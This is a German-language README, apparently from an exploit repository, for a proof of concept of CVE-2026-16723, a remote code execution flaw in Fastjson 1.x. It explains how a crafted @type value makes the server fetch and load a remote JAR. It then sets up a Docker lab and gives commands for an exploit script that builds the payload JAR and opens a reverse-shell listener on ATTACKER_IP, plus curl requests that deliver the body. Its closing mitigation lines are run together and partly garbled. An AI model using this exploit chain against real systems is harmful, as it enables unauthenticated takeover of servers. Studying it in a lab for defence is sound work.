
Proof-of-Concept-Exploit für CVE-2026-16723, eine Remote-Code-Execution-Schwachstelle in Fastjson 1.x @JSONType, mit einem Payload-JAR-Builder und einem Reverse-Shell-Listener.
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 ist eine Remote Code Execution (RCE)-Schwachstelle in Fastjson 1.x (1.2.68 – 1.2.83). Wenn Fastjson vom Angreifer kontrolliertes JSON parst, wird ein manipulierter
@type-Wert in einen Klassen-Ressourcen-Lookup innerhalb voncheckAutoTypeumgewandelt. In einem ausführbaren Spring Boot Fat-JAR löst der Class Loader diesen Namen alsjar:http://-URL auf und ruft ein entferntes JAR ab (SSRF), lädt dann eine Klasse, die die@JSONType-Annotation trägt, obwohl AutoType deaktiviert ist. Da ein modernes JDK / Tomcat denjar:http://-Binärnamen ablehnt, lädt die zuverlässige Variante das JAR in den JVM-Cache und liest es überjar:file:/proc/self/fd/Nerneut ein, sodass die Klasse definiert wird und ihr statischer Initialisierer ausgeführt wird, was zur Codeausführung führt. AutoType bleibt deaktiviert und kein Classpath-Gadget ist erforderlich.
| Kategorie | Version |
|---|---|
| Anfällig | Fastjson 1.2.68 ≤ Version ≤ 1.2.83 |
| Gepatcht | Migration zu Fastjson 2.x (kein korrigiertes 1.x-Release) |
Das Lab-Ziel ist ein öffentlicher Storefront (Northwind Store), dessen Such-API
ihren Request-Body mit Fastjson bindet. Alles entspricht Fastjson's Standardeinstellungen:
SafeMode aus, AutoType aus, verpackt als Spring Boot Fat-JAR.
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| Voraussetzung | Zustand in diesem Lab |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Ausführbares Spring Boot Fat-JAR | ja |
| Nicht authentifizierter JSON-Parse-Pfad | POST /api/products/search |
| SafeMode / AutoType | Standard (beide aus) |
Der Angreifer und das Ziel laufen im selben Docker-Bridge-Netzwerk, sodass das Ziel den Angreifer als ausgehende Verbindung erreicht (kein zusätzlicher Port wird veröffentlicht).
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py erstellt das Payload-JAR, stellt es bereit, startet einen Listener und gibt
den Request-Body aus. Nur die Callback-Adresse ist erforderlich.
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
Fügen Sie den ausgegebenen Body in den Such-Endpunkt ein (Burp Repeater oder curl) und
senden Sie ihn. Die Suchanfrage ist eine normale Funktion; nur ihr JSON-Body ist manipuliert.
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
Code läuft als das Dienstkonto. Rufen Sie das Flag über die erhaltene Shell ab:
whoami
com.alibaba:fastjson:1.2.83_noneautotype ausführen-Dfastjson.parser.safeMode=true starten@type-Werte, die jar:http oder jar:file / /proc/self/fd-Muster enthalten